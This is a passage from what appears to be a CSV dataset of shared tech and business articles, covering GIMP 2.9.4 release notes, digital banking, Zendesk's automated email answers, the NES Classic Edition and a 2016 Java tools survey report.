mesmo preço pelo volume impresso na hora do que cobraria uma livraria tradicional. Se você já está com saudade dos corredores de prateleiras, o novo modelo tem uma enorme vantagem para os leitores: ele torna possível a impressão de livros raros, que já saíram de estoque. São títulos inviáveis economicamente para lojas normais, porque só vendem, no máximo, 10 edições por ano. A própria Les Puf vai trazer de volta 2 mil livros esgotados para o seu catálogo. Com o novo negócio, a Les Puf se tornou um mix de todos os nichos da indústria de livros: é publicadora, gráfica, distribuidora e livraria ao mesmo tempo. E tudo isso sem que o leitor precise perder a magia de ler um livro físico. Dá até para imaginar que o cheiro de livro novo fique ainda mais forte. Afinal, ele acabou de sair do forno.",pt
1468494047,CONTENT SHARED,3799372021687456380,-2979881261169775358,-77927759962016627,,,,HTML,http://www.gimp.org/news/2016/07/13/gimp-2-9-4-released/,GIMP 2.9.4 Released,"We have just released the second development version of in the 2.9.x series. After half a year in the works, GIMP 2.9.4 delivers a massive update: revamped look and feel, major improvements in color management, as well as production-ready MyPaint Brush tool, symmetric painting, and split preview for GEGL-based filters. Additionally, dozens of bugs have been fixed, and numerous small improvements have been applied. GIMP 2.9.4 is quite reliable for production work, but there are still loose ends to tie, which is why releasing stable v2.10 will take a while. Please refer to the Roadmap for the list of major pending changes. Revamped User Interface and Usability Changes The new version features several new themes by Benoit Touchette in various shades of gray: Lighter, Light, Gray, Dark, Darker. The system theme has been preserved for users who prefer a completely consistent look of user interfaces across all desktop applications. Note that we still consider this feature a work in progress, as dark themes still need some fine-tuning (especially regarding the color of inactive menu items). The new UI themes are accompanied by symbolic icons originally created by Barbara Muraus and Jakub Steiner, and heavily updated and completed by Klaus Staedtler. The existing icon theme from past releases of GIMP has also been preserved, and users can freely switch between available icon themes and easily add their own ones. Note that themes and icon themes are now separate: you can easily mix your favorite UI with various icon sets. Also since most 2.8 themes would end up broken in 2.9.x, themes are not migrated from GIMP < 2.9. Users who want custom themes will have to install ones specifically made for GIMP 2.9/2.10. All work on icons by Klaus Staedtler is made on vector (SVG) images, which should allow better support for HiDPI displays (also commonly known as Retina) soon. Vector icons are an experimental feature, available after using the --enable-vector-icons build configure option. Note that this option does not allow HiDPI support at this time. We cleaned the Preferences dialog a little and reordered options in a more logical manner. The Color Management page was redesigned following both internal and user-visible changes in relevant parts of GIMP (see below), and the Snap Distance options have been moved to a dedicated Snapping page. Additionally, it is now possible to configure the size of undo step previews in the Undo dialog via the Preferences dialog, which was previously only possible by manually editing GIMP's configuration file GIMP's configuration file, by a complete oversight on our part. The startup splash screen now features a pulsing progress bar to indicate that GIMP is not frozen. This, as well as initializing fontconfig in the background (also a new feature in 2.9.4), is meant to address a common issue where rebuilding the fonts cache (or building it for the first time) can take a lot of time hence making an impression that GIMP freezes at startup. We acknowledge that this is a workaround. Fixing the actual reason involves hacking on fontconfig. If you are interested, there is a bug report on that. Color Management Improvements The color management implementation got a complete overhaul in this version of GIMP. Instead of being a pluggable module, it is now a core feature. Moreover, we added an abstraction layer that makes GIMP less dependent on LittleCMS . This means that in the future GIMP could use native APIs on Windows and OS X, and/or use . For now, it has helped us to clean up the code a lot and introduce a clean implementation of color management to various bits of GIMP such as: previews for color swatches and gradients, patterns, various color widgets (including the drag-and-drop color widget), the Color Picker tool, layer and image preview etc. The only unmanaged bit for now is the color widget in the Script-Fu and Python-Fu plug-ins. Moreover, GIMP will track which monitor the widget is currently on (different monitors would have different ICC profiles assigned to them) and color-correct it accordingly. Grayscale images are first class citizens in GIMP once again: since v2.9.4, GIMP can color-manage them as well. Since GIMP currently relies on sRGB (this is bound to change in future versions of GIMP), we decided to expose that in the user interface. So currently GIMP has an option called 'Color-manage this image' in two places: the New Image dialog and the Image > Color Management submenu. What it means is that instead of taking into consideration the ICC profile embedded into an image (whichever profile it is) it will just treat everything as sRGB. Please note that we are likely to reword the option to make it even more explicit about what it does. Additionally, there's now a View > Color Management submenu where you can enable and control softproofing. The Color Management section of the Preferences dialog has been reorganized to reflect recent changes and provide more consistent wording of options. Since color management comes with a speed penalty (at least with LittleCMS), there's a new option that enables you to choose either better color fidelity of faster processing depending on the kind of work you usually do. Among smaller changes there's a new Image > Color Management > Save Color Profile to File... command that does exactly what it says: it dumps an embedded ICC profile to disk as a file. Note that copyright restrictions on ICC profiles may apply, so please be careful. GIMP now keeps track of all -based filters that you used within one session and allows re-running them via the Filters > Recently Used submenu, just like old GIMP plug-ins. The Posterize and Desaturate color tools have been converted to regular GEGL-based filters, and both the Tile and Pagecurl filters have been converted to use GEGL buffers. A quite popular ""photographic"" Highpass filter commonly used for enhancing details was added to the Filters > Enhance submenu. A way more noticeable new feature, however, is split preview for GEGL-based filters. You can compare before/after versions right on canvas and move a ""curtain"" around to see more of ""before"" or ""after"", and swap their positions ( Shift + click on the guide). You can also switch between vertical and horizontal division ( Ctrl + click ). darktable as Raw Processing Plug-in On Linux , GIMP is now capable of using darktable for pre-processing raw images from DSLRs (Canon CR2, Nikon NEF etc.). darktable is an amazing project whose developers stick around at our IRC channel and even contribute to GIMP (most recently, they added reading various metadata from EXR files). Note that the file-darktable plug-in is activated only when darktable is built with Lua support. Make sure your build of darktable for Linux is feature-complete. It is still possible to use other raw development plug-ins like UFRaw . For cases when multiple plug-ins are installed in your system, we intend to add a preference option. Screenshots The code for capturing screenshots has undergone a major reorganization. It's now split into a front-end and several back-ends specific for Windows, OS X, Wayland and X.org (Linux and UNIX systems). While there are no immediate user-visible changes, this reorganization will greatly simplify further improvements, hence improving user experience on different operating systems. Painting MyPaint Brush Tool The new MyPaint Brush tool is now enabled by default. Daniel Sabo and Michael Natterer improved its performance and made MyPaint brushes available via an already familiar dockable dialog interface, with previews and tagging. Jehan Pagès collaborated with the MyPaint team: he ported libmypaint to autotools , allowing, in particular, standard builds on all platforms, and work is being done to turn the default brushes into a separately shipped package. Symmetry Painting Another major new feature is symmetric painting mode, also developed by Jehan Pagès with financial support from the GIMP community. It can be activated through the new Symmetry Painting dockable dialog and allows to use all paint tools with various symmetries (mirror, mandala, tiling...). ""Mirror"" allows to paint with horizontal, vertical (axial), and/or central symmetry . The symmetry guides can be placed anywhere on canvas. ""Mandala"" is a rotational symmetry of any order. The center can be placed anywhere on canvas. ""Tiling"" is a translational symmetry , which can be finite (with a maximum of strokes) or infinite. In the latter case, it is the perfect tool to create patterns or seamless tiles, with instant rendering of what it will look like, at painting time. Quick 1-minute test by Aryeom Han: Tool Options The mouse scroll-wheel action mappings have been improved, allowing, in combination with various modifiers, to do useful things on the currently selected tool's options: Alt + Mousewheel : opacity increase/decrease; Shift + Primary + Mousewheel : aspect increase/decrease; Shift + Alt + Mousewheel : angle increase/decrease; Primary + Alt + Mousewheel : size increase/decrease; Shift + Primary + Alt + Mousewheel : spacing increase/decrease. Note : the Primary modifier is usually Ctrl or Cmd , depending on your platform. Selections For cases when your selection has a lot of small unselected regions, you can now use the Select > Remove Holes command. The Select > Border... dialog now provides several border style options: hard, smooth, and feathered. Feathered creates a selection which goes gradually from 1 to 0 the farther you get from the middle of the border. Smooth preserves partial selection (antialiasing) along the edges of the selection. Better Tools The Fuzzy Select and Bucket Fill tools got a new feature for selecting/filling diagonally neighboring pixels. The Blend tool got shapeburst fills resurrected, and allows the placement of their handles on the canvas, outside of the image area. Additionally, the Blend tool now displays its progress thanks to a new GEGL feature available in several GEGL operations including gegl:distance-transform . The Text tool now fully supports advanced input methods for CJK and other non-western languages. Minimal support already existed, but the pre-edit text was displayed in a floating pop-up instead of inline, within the text tool box, and without any preview styling. It is now displayed just as expected, depending on your platform and Input Method Engine. Several input method-related bugs and crashes have also been fixed. Batch Processing on Command Line A new macro with-files is now available in order to easily process multiple files through GIMP from the command line, which was a much awaited feature. For instance, if you want to invert the colors of all PNG images in the current folder, then save them as JPEG, you could run the following from the command line: Note: the name of the macro may change before the release of v2.10. Email Plug-in Resurrected The File > Send by email... dialog will open your default email client with an attached copy of the current image, to share your work-in-progress with a single click. This is available only on operating systems with xdg-email (likely ). The original implementation using sendmail is also available. Yet since it requires a properly configured sendmail, which is not common on desktop machines, the explicit --with-sendmail option has to be set at build time to replace the xdg-email implementation. Debugging Facilities for Windows In the unlikely event that GIMP crashes, we need as much information as possible to find out the actual bug. The raw crash log is one such source of information. Windows builds can now generate backtrace logs upon a crash with Dr.MinGW's ExcHndl library, which must be available at build time. The logs will be stored in %APPDATA%\GIMP\2.9\CrashLog\ . What's Left To Do for GIMP 2.10 Since the release of v2.9.2 we have been mostly fixing bugs and completing the work we had started earlier. We are not planning to add any major new features in v2.10. If you are interested in helping us release v2.10 earlier, you can find the list of bug reports in our bugtracker . Some Statistics on Our Awesome Contributors GIMP 2.9.2 was released on November 27, 2015 . Since then, the work to reach GIMP 2.9.4 was done in 1348 commits , making an average of 5.9 commits a day , of which 894 are (mostly) code-related, 241 are icon-related, and 213 are translation updates. As usual, the GIMP team is small yet as dedicated as ever: more than a third of the commits have been done by Michael Natterer (514), the next biggest contributors being Jehan Pagès (192) and Klaus Staedtler (187). The three of them represent 66% of all commits. We have prolific newcomers among developers: Ell joined us with significant code contributions (32 commits), such as the diagonal neighbours, the ""Remove Hole"" command, and many other fixes; Tobias Ellinghaus, a darktable developer, contributed 14 commits on darktable integration and improving EXR and PNM support. Of course, we also have our usual suspects with 10+ code commits: Alexandre Prokoudine, Daniel Sabo, Kristian Rietveld, Massimo Valentini, and Michael Henning. And since no patch is too small, it would be completely unfair to forget all other code contributors: Adrian Likins, A S Alam, Carol Spears, Eugene Kuligin, Jasper Krijgsman, João S. O. Bueno, nmat, Richard Kreckel, saul, Shmuel H, Jonathan Tait, Michael Schumacher, Pedro Gimeno, Richard Hughes, Benoit Touchette, Hartmut Kuhse, Kevin Cozens, Elle Stone, Mukund Sivaraman, Øyvind Kolås, Sven Claussner, Thomas Manni, Alexia Death, Andrew Worsley, Simon Budig, and Piotr Drąg. New icons are a big work in progress, with 241 commits, mostly by Klaus Staedtler, with additional contributions from Aryeom Han, Benoit Touchette, Jehan, Kevin Payne, Michael Natterer and Øyvind Kolås. We should not forget Benoit Touchette for his work in progress on themes, as well as some code contribution. We would like to thank as well every 30 translators: Alexandre Prokoudine, Ask Hjorth Larsen, Balázs Meskó, Balázs Úr, Christian Kirbach, Cédric Valmary, Daniel Korostil, Daniel Mustieles, Dimitris Spingos, Dušan Kazik, Gábor Kelemen, Hartmut Kuhse, J.M. Ruetter, Jordi Mas, Khaled Hosny, Marco Ciampa, Mario Blättermann, Martin Srebotnjak, Mónica Canizo, Necdet Yücel, Pedro Albuquerque, Piotr Drąg, Rūdolfs Mazurs, Sebastian Rasmussen, Sveinn í Felli, Tiago Santos, Yolanda Álvarez Pérez, Klaus Staedtler, kolbjoern, and Милош Поповић. Note : Statistics based on the number of commits provide valuable information regarding the activity of a project, yet they are not always a perfect indicator of contribution, so the goal of this section is not to have any kind of contributor rank. For instance, one commit could be a one-liner, whereas another could contain several hundreds of lines (and even this may not always be a good indicator of the time spent on and the difficulty of the fix). Moreover we should not forget all the ""shadow contributors"", whose contributions cannot be counted as easily, working on things such as code review (which Massimo Valentini should be especially commended for), bug triaging and follow-up (Michael Schumacher here would get a prize!), community, website, and communication (Akkana Peck, Patrick David, and others)... We sincerely hope we did not forget anyone, and we want to say: thank you. Downloads The source code is available from the Downloads page. An installer for Windows will be available shortly. A build for Mac OS X is not available at this time.",en
1468496385,CONTENT SHARED,2727743992157210358,268671367195911338,876332810118518702,,,,HTML,http://thefinancialbrand.com/59403/digital-banking-transformation-future/,The Future of Digital Banking is Now,"Banking executives convened to discuss the opportunities and challenges of digitization in banking. Their consensus was that becoming a 'digital bank' is no longer just an option... it's a necessity. Digital transformation isn't new - it's been happening in different industries over the past 20 or 30 years - with different waves occurring across various industry segments. In the 1990s, music, retailing, photography and video were all impacted by new entrants who used digital capabilities to change the way services were delivered and consumed. In the 2000s, TV, travel and recruitment were impacted, with the advent of YouTube, online travel sites and job posting boards. The 2010s find industries like retailing experiencing their second wave of digitization (first seen in the 1990's) while financial services finally begins to discover the opportunities and challenges of digitization. Beyond simply making current processes digital, today's transformation is dramatically impacting the way in which customers interact with brands. Instead of visiting physical facilities, consumers in all industries are beginning their shopping and buying experiences online or with a smart phone, altering all phases of the traditional customer journey. A new report, produced by and Oracle Financial Services Global Business Unit , entitled ' Digital Transformation - The Challenges and Opportunities Facing Banks ' looks at the current and future impacts of digitization within the banking industry. This report is the culmination of a series of three 'Think Tank' sessions hosted by these organizations. Impact of Digital Transformation While a great deal of attention is given to the individual players that are impacted by digital transformation (Kodak, Blockbuster, Borders, etc.),there is often quite a large financial impact on overall industry segments. As stated in the Efma/Oracle report, ""A clear example can be seen in the music industry, where the global market now is only worth about half of its value in 2000. Another example is with the newspaper print advertising market, which is about a third of what it used to be."" Not only is there a major financial impact to digital transformation. The report also found that digital transformation occurs significantly faster at a much lower cost than transformations of industries in the past. In addition, because of the lower cost of entry, more players can be informed in the process (enter fintech start-ups). The consequence is a more rapid pace of change. For example, as mentioned in the report, in Brett King's book, 'Banking 3.0', he chooses a level of 50 million users as the definition of a target figure for a market. For planes and cars to reach this level took over 60 years. Credit cards took 28 years but more recently, contactless credit cards took only four years to reach 50 million users, while Facebook and Twitter took only 3 and 2 years respectively. ""So, the pace of change is getting much faster and the financial services industry has to adapt if banks are to succeed and survive,"" states the research. Role of Fintechs It is well documented that there is a mass influx of new competitors in the financial services space globally, with massive funding of both new start-ups and innovations by large, established technology companies like Google, PayPal, Facebook and Amazon. According to the research study, fintechs have primarily focused on three segments of the financial services industry: payments, lending and personal finance. The two main reasons why these are the primary segments that the fintechs are pursuing include: They are areas with significant fees and that also have a strong push towards a digital interaction. Fintechs want to be able to work cheaper, faster and clearer and to provide a better transparency of what's happening. Despite the aggressive competitive environment, the vast majority of fintech firms lack scale and market awareness. While part of this can be attributable to a lack of successful marketing by all but a few of the new entrants, the major hurdles for fintech firms include a lack of capital, no legacy customer base, the trust level afforded legacy financial organizations and the understanding of regulatory and compliance issues by traditional banking firms. As a result, many fintech firms (and legacy banking organizations) are pursuing partnerships. ""The fintech companies have the advantage in terms of speed, agility, and the capacity to understand and quickly build a very good user experience. However, they don't have the legacies that banks have and they have a completely different mindset - and with the lack of scale and trust, it's not as easy as it might seem for fintechs to move forward without banks,"" says the report. Ultimately, some fintechs will obtain a banking license, others will partner with larger banks or perhaps later will be acquired by larger financial institutions, while others may do a bit of both. Key Digital Strategies for Banking Oracle has observed different approaches that banks have been using to help to drive a digital strategy as well as to react and deal with some of the fintech companies. The report explores four key digital strategies that banks have been using with varying success. These are: Launching a digital brand - This might involve positioning a new brand differently from the existing one, or developing a set of processes that enable the new digital brand to compete in a different way. Many different banks have done this across a lot of different markets. Examples include Fidor Bank in Germany, UBank in Australia and mBank in Poland. Digital brands focus on simplicity of design and ease of use through digitization. They also compete on price because as digital-only players, they can become more aggressive in this area, as they have much lower costs than traditional banks. Many of these brands have achieved relatively modest scale. Digitizing processes - This is a key area where traditional banking organizations can compete with fintech firms. To do so, legacy banks must digitize both front-office and back-office processes based on the expectations that have been set by all of the other digital brands (not just financial services). The key digital processes from the consumer's perspective include customer onboarding, originations and relationship pricing. Modernizing the digital experience - The development of a digital enterprise is based around the four 'Ps' - Product, Price, People and Place. Place (which can be physical or virtual) refers to the need to enhance the digital experience at the point where the customer is. Unfortunately, the digital experience of many financial services companies tend to be rather dated. Key customer-facing digitization includes use of HTML5, responsive design, the ability to fully support all mobile devices, the integration of the Internet of Things, and even open APIs. Launching new digital capability - When looking at a new capability, organizations may want to deliver something completely new outside their overarching mobile app, such as money movement apps, mobile wallets or the use of data as 'currency'. Oracle also believes banks need to start thinking more seriously about how they can take advantage of innovations such as virtual reality, FitBit or the Internet of Things, as all of these will play an integral role in the future lives of consumers. They believe banking organizations also need to reexamine and transform the role of the branch, so that it becomes more focused on customer service and advice rather than transactions. The Time to Take Action It is clear that differentiation - and competitive advantage - is occurring based on the ability of financial institutions to embrace and implement digitization. The firms that aggressively pursue the digitization of both back and front-offices will be in a better position to compete for the increasingly digital consumer and will be able to reduce costs (and increase revenue) based on this transition. As stated in the Efma/Oracle report, ""Overall, although the financial services sector isn't unique in terms of suffering from the effects of disruption, banks can no longer afford to sit back and do nothing. There are numerous new technologies that they should be taking advantage of - and they could learn a great deal from other industries who have already had to face disruption. Despite the problem of regulation, there are also still countless valuable insights that they could can gain from different sources of customer information that would enable them to sell more and also to provide better advice."" It is becoming abundantly clear that becoming a 'digital bank' is quickly becoming 'table stakes' as opposed to a nice benefit or feature of today's banking experience. Access the Report Oracle teamed up with the Efma to learn about the digital strategies that banks are implementing to tackle these challenges in a series of virtual Think Tanks that were attended by 40+ banks from across EMEA and JAPAC. EFMA is a global not-for-profit organisation that brings together more than 3,300 retail financial services companies from over 130 countries - including almost a third of all large retail banks worldwide. Download and read the 32-page report, ""Digital Transformation"" here . Jim Marous is co-publisher of The Financial Brand and publisher of the Digital Banking Report , a subscription-based publication that provides deep insights into the digitization of banking, with over 150 reports in the digital archive available to subscribers. You can follow Jim on Twitter and LinkedIn . All content © 2016 by The Financial Brand and may not be reproduced by any means without permission.",en
1468498917,CONTENT SHARED,6858632230975272305,-1443636648652872475,-5034557751275839254,,,,HTML,https://techcrunch.com/2016/07/13/zendesks-automatic-answers-taps-machine-learning-ai-to-generate-bot-style-email-responses/,"Zendesk's ""Automatic Answers"" taps machine learning, AI to generate bot-style email responses","Chat bots have ballooned in popularity in recent months, and now we're seeing some interesting examples of how that technology, where computers interact and respond to human requests, is being used to solve other problems. Today, Zendesk is taking the wraps off ""Automatic Answers"", a service for businesses to reply to emails from customers without ever having a human employee get involved. Automatic Answers is not your average, run-of-the mill email autoresponder. The service was built using a machine learning platform that Zendesk's in-house teams of data scientists and engineers, which are based out of Melbourne, Australia, have been developing on for a while now. That machine learning platform was first announced last year and it also powers a service Zendesk announced last October , Satisfaction Prediction, which is able to monitor customer-company interactions to - as its name implies - determine whether the customer is getting what she or he needs. The machine learning/AI element means that the responses in Automatic Answers are not only reading and responding specifically to what you the customer is asking, but it is technically getting smarter with each response (and presumably using a bit of Satisfaction Prediction to figure out if it's getting it right). Automatic Answers will work first in email because, as Zendesk's VP of product Sam Boonin tells me, ""Even in a world of customer services embedded in every communication channel from social to web to phone, email still represents the majority of interactions that are coming in."" Boonin is clear to point out that this is not Zendesk's jump into bot-infested waters. ""This is not a bot,"" he said to me when I asked, bot or not? ""Bots focus on long-running conversations, and while this uses tech similar to that this isn't the intention."" Over time, however, this will change. Zendesk plans to add it into other platforms as well including social messaging platforms and anywhere that customers are contacting companies, part of the company's wider aim to improve ""ticket deflection"" - or automated services that solve customers' questions and problems without resorting to customer support people getting involved. ""The plan is to extend this beyond email. Zendesk is multichannel and we'd want to include this in chat, voice, social channels and more traditional channels. We'd like to expand this to everything."" Interestingly, that could also potentially include Twitter. Earlier this year, the social platform unveiled is plans to build out customer service products , and Zendesk is one of the companies working on ways to implement that, Boonin said. ""Very similar to what Facebook is doing, Twitter wants to make customer service interactions continue to look like they're happening on Twitter from the customer's point of view. But on the company's side, it will be Zendesk's dashboard that will appear, and it will be from Zendesk that they will be sending tweets to their users."" But while removing humans from email interactions sounds very bot-like, Boonin said that this does not signal the decline of the customer care professional. (And, at the end of the day, with seats still the basic unit for how Zendesk sells its products, it's unlikely for now to be a team it wants to wipe out any time soon.) Rather, because of the asynchronous nature of email, it has been a pain point for customer care teams to answer in an efficient and non-hands-on way, even when the requests are basic, such as password resets. That can becomes an acute pain point, especially when the company small or medium-sized and growing, Boonin said. ""Automatic Answers is part of the promise of computing helping to automate tasks that are low-value,"" he added. Automatic Answers will be fully rolled out later this year, potentially with a separate pricing structure. This is still being worked out, and for now it will start its rollout in beta, as part of Zendesk's service suite, with the intention of using early interactions to feed the machine learning algorithms.",en
1468503078,CONTENT SHARED,5658615529969625284,-2979881261169775358,-77927759962016627,,,,HTML,http://www.nintendolife.com/news/2016/07/nintendo_entertainment_system_nes_classic_edition_coming_this_november_ships_with_30_games,NES Classic Edition Coming This November,"We are getting new Nintendo hardware this year after all In recent years we've seen a proliferation of ""clone"" systems which replicate the performance of vintage hardware. The Retron 5 and Retro Freak are perhaps the two most notable examples, but it would seem that Nintendo itself has finally woken up to the potential of reselling its classic systems in new guises. Today it has shocked the retro gaming community by announcing the Nintendo Entertainment System: NES Classic Edition (Nintendo Classic Mini: Nintendo Entertainment System in Europe), a ""new"" version of its legendary NES hardware which costs $59.99. It connects to your TV via HDMI and even comes with that classic NES pad, which can also be used with your Wii or Wii U. You can also use a Classic Controller or Classic Controller Pro on the system for two-player action, but the new NES pad will be sold separately for $9.99 as well - just in case you like consistency. Sadly you can't use your original NES carts with the console - something even the most basic ""Famiclone"" offers - and there doesn't seem to be any means of getting new games onto it. Here's what Nintendo of America President and COO Reggie Fils-Aime had to say: We wanted to give fans of all ages the opportunity to revisit Nintendo's original system and rediscover why they fell in love with Nintendo in the first place. The Nintendo Entertainment System: NES Classic Edition is ideal for anyone who remembers playing the NES, or who wants to pass on those nostalgic memories to the next generation of gamers. The console arrives on the 11th November and will come with 30 pre-loaded titles: Balloon Fight BUBBLE BOBBLE Castlevania Castlevania II: Simon's Quest Donkey Kong Donkey Kong Jr. DOUBLE DRAGON II: THE REVENGE Dr. Mario Excitebike FINAL FANTASY Galaga GHOSTS'N GOBLINS GRADIUS Ice Climber Kid Icarus Kirby's Adventure Mario Bros. MEGA MAN 2 Metroid NINJA GAIDEN PAC-MAN Punch-Out!! Featuring Mr. Dream StarTropics SUPER C Super Mario Bros. Super Mario Bros. 2 Super Mario Bros. 3 TECMO BOWL The Legend of Zelda Zelda II: The Adventure of Link",en
1468503361,CONTENT SHARED,667643281369196267,2754566407772265068,6939571413154315416,,,,HTML,http://zeroturnaround.com/rebellabs/java-tools-and-technologies-landscape-2016/,Java Tools and Technologies Landscape Report 2016 | zeroturnaround.com,"Welcome to the Java Tools and Technologies Landscape Report 2016 . This is a comprehensive report that is focused on analyzing the data about the tools and technologies Java developers use. There are three main parts to this report and they can be found through the links below: Alternatively, you can download a single pdf version of the report and enjoy it all at once: Editor's note Overall, we received 2040 completed survey responses. This gave us plenty of data with which I've been able to heavily improve my Excel knowledge. We also managed to raise $1000 for Devoxx4Kids , a wonderful charity, because we reached our 2000 response target. Great job to all those who took part and answered all of our questions! If you're interested in the previous editions of our survey reports, you can find them here: Java, the language and the platform, owes much of its fame and longevity to the libraries, frameworks and tools which together make up its ecosystem. No other programming language has been able to match the support that a rich ecosystem like the JVM has achieved. It's extremely important to understand how the ecosystem exists today, as well as its history. This way we can extract trends and patterns to understand the direction in which we are heading. In fact, all ecosystems are living organisms. They're born, they grow and become established, live their lives and one day will be replaced by a better, more suitable technology that solves the problem better. Of course the problems we deal with are changing too. Some ecosystems survive in care homes, refusing to pass away, like FORTRAN and COBOL. This report sets out to understand the current landscape in Java, the JVM and its ecosystem, including JVM languages, application servers, build tools, Java and Java EE adoption, microservices architectures, web frameworks, performance tooling, agile processes and much more. Our goal is to show you the raw data as well as profile which respondents are more likely to prefer certain tech over others based on their organization and other preferences. We'll also look forward, making predictions based on the data for what the landscape might look like in a couple more years. The Data The survey itself was open between March and April 2016 and profiled application types, processes, tools and more. Overall we received 2044 responses and we had to eliminate 4 based on their responses to the years of experience question. While it would be amazing to speak to someone who states they have over 10,000 years of experience, we feared the entry could well have been bogus! Please take the findings in this report at face value, and use at your own risk. If we assume that there are around 9M Java developers in the world the sampling error is around 2.2%. But since the sample is not truly random, it can contain some biases. Although you will see that the respondents description seems quite representative of the industry. This report The report is split into 3 sections. The first is a representation of the raw answers given to the survey questions. No fluff, no pivoting, just pure data and answers! Part 2 provides a more in-depth analysis, with pivoting on the data points to understand trends. Pivoting? Wasn't that a thing in my old physics class with a see-saw, some forces and some kind of formula? Well, maybe. But in this instance, we're asking more detailed questions about our data, based on the answers given to other questions. For instance, do early adopters that believe they're better than the average person in their role actually use technologies such as J2EE and Java 1.4? Read on to find out, the results may just surprise you! Part 3 looks at the data we collected in this survey and compares it to previous reports we've created - to see trends in adoption for tools and frameworks. But for now, let's start at the beginning with Part 1. Part 1: Raw data Welcome to the real start of the report! And congratulations for getting past the fluff that precedes the actual fun part. Let's look at the core results. The raw data. In this section,our headings are the questions that were asked during the survey. There's only one question that's missing: ""What tool, technology or library are you super excited or proud about having used or planning to use in 2016?"" . Don't worry, we didn't forget it! We thought that question is better suited to Part 3's future trends section. So, let's begin. How many years of experience do you have in software engineering? This was a question we've not asked in past surveys. This year, we wanted to understand more about the type of person who responds to the survey as well as their technology preferences. We actually had a pretty good spread of results as you can see from Figure 1.1 . Around half of the respondents exist in the 5-15 years of experience bracket. The overall median is 10 years of experience and the average is 12.2 years. What is your job description ? This is a common question that we ask every year. Our respondent split was similar to previous years, with the majority being made up of Software Developers (54%), followed by Architects (18%) and Team Leads (12%) as you can see in Figure 1.2 . The remaining split was fairly equal across consultants, management, C levels, and Dev advocates. The 'Other' category included operations and QA, among others. This was sad as it would have been great to get some of the opinions from operations teams on our microservices questions later. Overall, this spread of roles is what we would expect as the communities are heavily made up of developers and it's those communities which RebelLabs associates heavily with. Which description best fits the company you work for ? Here's another new question where we try to understand the style of company our respondents work for. Figure 1.3 shows us that almost one in three respondents work on the USS Enterprise, taking 32% of the share. The next most common response was a mid-sized company, at 31%. Other interesting responses included 5% of respondents working for a startup and 8% working as a contractor. Let's spare a moment to think about the 1% of respondents who are sadly out of work at the time of the survey. Hopefully they've found work since then, without needing to resort to PHP or JavaScript. What kind of person would you say you are? Many people or companies are opposed to trying something new, considering it wasteful to spend time on a technology that might not even exist in five years time. Or perhaps putting off an upgrade or version migration till they are sure all bugs/issues had been ironed out. This question was therefore designed to understand how likely someone was to try out a new tool or technology. We refer to respondents as early adopters or technology sheep based on their adoption preferences. This question will also be key in understanding which technologies or versions are considered established among respondents and which are still considered new and upcoming. Figure 1.4 shows that the majority of people claimed they are technology sheep at 53%. A very strong proportion were early adopters with 44%. A mere 3% of people say that change is all bad and that they'd prefer to do real work rather than change. Be sure to check out Part 2 of this report to see which tools and technologies the early adopters are looking at! Would you say you are better than the average person in your role? Now for my favorite question in this survey! We asked participants whether or not they thought they were better than the average person in their role. Now, all our RebelLabs readers are likely to be better than average in their role as they're trying to constantly better themselves by reading technical content. However, it's always amusing to see the results of possible overconfidence, or maybe arrogance, bubble up? Either way, we'll see just how good the 74% of people are, those who consider themselves to be better than average, when we study their tools, technologies and behaviours in Part 2. Tell me they use J2EE, please tell me they do! Which type of application describes the main project you work on? We're always keen to get a breakdown of the applications that our respondents work with. As we can see from Figure 1.6 , two thirds of respondents work on full stack web applications, as you might expect, with a further 18% working on backend code. The remaining votes are split between batch, mobile and libraries, with 6% working on desktop applications. The 'other' option contained middleware developers, tools developers, programming languages and more. Have you adopted a microservices architecture ? Microservices has been a popular buzzword in recent times, so we felt we had to include a specific question about it in this year's survey to better understand its adoption rate. This question is fairly simple on the face of it. However, I think that if we sat a few respondents next to each other, they may question whether each other has indeed implemented a microservices architecture or just adopted a couple of best practices. As we can see from Figure 1.7 , two thirds of people (66%) have not adopted a microservices architecture whereas the remaining third (34%) have adopted a microservices architecture. Next, we'll investigate this in more depth by asking two further questions. To those who have not adopted microservices, we'd like to know whether they plan to in the future. To those who have adopted microservices, does the new architecture make their job easier or harder? Are you planning to move to a microservices architecture? For those not using microservices, we asked if they were planning to move to that architecture. Looking at the yellow portion of the outer ring in Figure 1.8 , we see just 12% of respondents said yes, they were planning to adopt them. Almost three times that number (32%) stated they did not want to move to a microservices architecture with 56% still making their minds up. Has moving to a microservice architecture made your job easier or harder ? We asked those who stated they have already adopted a microservices architecture whether it made their job easier or harder. On the green portion of the outer ring in Figure 1.8 we see that almost half of those who responded (42%) stated it made little difference to their job, with 40% saying their jobs became easier and 18% claiming their jobs were harder as a result. Put in another way, we can say that approximately one in five people (18%) say their job is harder whereas four in five people (82%) state that their job is about the same or easier while using microservices. We could also state that three in five people state their roles are either the same or harder as a result of adopting microservices. Aren't statistics a wonderful thing! Luckily in this report, we show you all the numbers so you can make up your own minds! Which JVM language do you use most often? Very often we get a good spread to this question in our survey, but this year shows Java in an extremely dominant lead over other JVM languages. Notice that we didn't ask which JVM languages people have used, rather which JVM language people use most often. It's clear that while people flirt with other languages in the ecosystem, Java is still monopolizing the JVM with 93% of the total vote. Groovy and Scala, as you'd expect, are next in line - eating the leftovers from Java's table with 3% and 2% respectively. Kotlin, Ceylon, Clojure, JRuby and many others all contribute to the remaining 2%. Which Java version do you use to run your main app in production? One of the most common questions people ask in the Java community concerns Java version adoption. This is mostly fueled by the exciting release of Java 8 back in March 2014 (I wanted to say recent, but it's already been over 2 years now!), combined with the aggressive removal of public updates on older versions. It's important to upgrade for a number of reasons, including performance, security and features. From a library or tooling vendor point of view, it's incredibly frustrating to support older versions of Java as it's harder to keep backward compatibility and make use of newer language features. An important item to note at this point is that we're asking about the respondent's main application in production - rather than a proof of concept application running a service nobody really cares about. We can see from Figure 1.9 how conclusive the results are, showing the success of the Java 8 release. 62% of respondents state that Java 8 is used to run their main production applications. 28% of respondents are on Java 7 with less than one in ten using Java 6. The 1% sitting in the other category consist of Java 5 users and some brave Java 9 power users! Needless to say, the success of Java 8 is very apparent in this one image of coffee cups. Now, it's time to grab an espresso and carry on reading! Next up is Java EE. Which version (if any) of Java EE do you tend to use most? See, I told you it's Java EE next! Now that we've covered Java SE, let's take a look at how life looks in the enterprise world. Java EE 7 was released in June 2013 so it's no surprise it is the version which most have since migrated up to. Four out of ten respondents don't use Java EE. If we normalize the data, to only look at Java EE users, we can say 58% of them are on the current version, Java EE 7. It makes me very emotional to see almost one in ten people spending their working lives on a J2EE project, a specification that was released 13 years ago. Maybe we should have a minute's silence and finish the espresso we made in the last question. Which IDE do you use most often? Next up is a 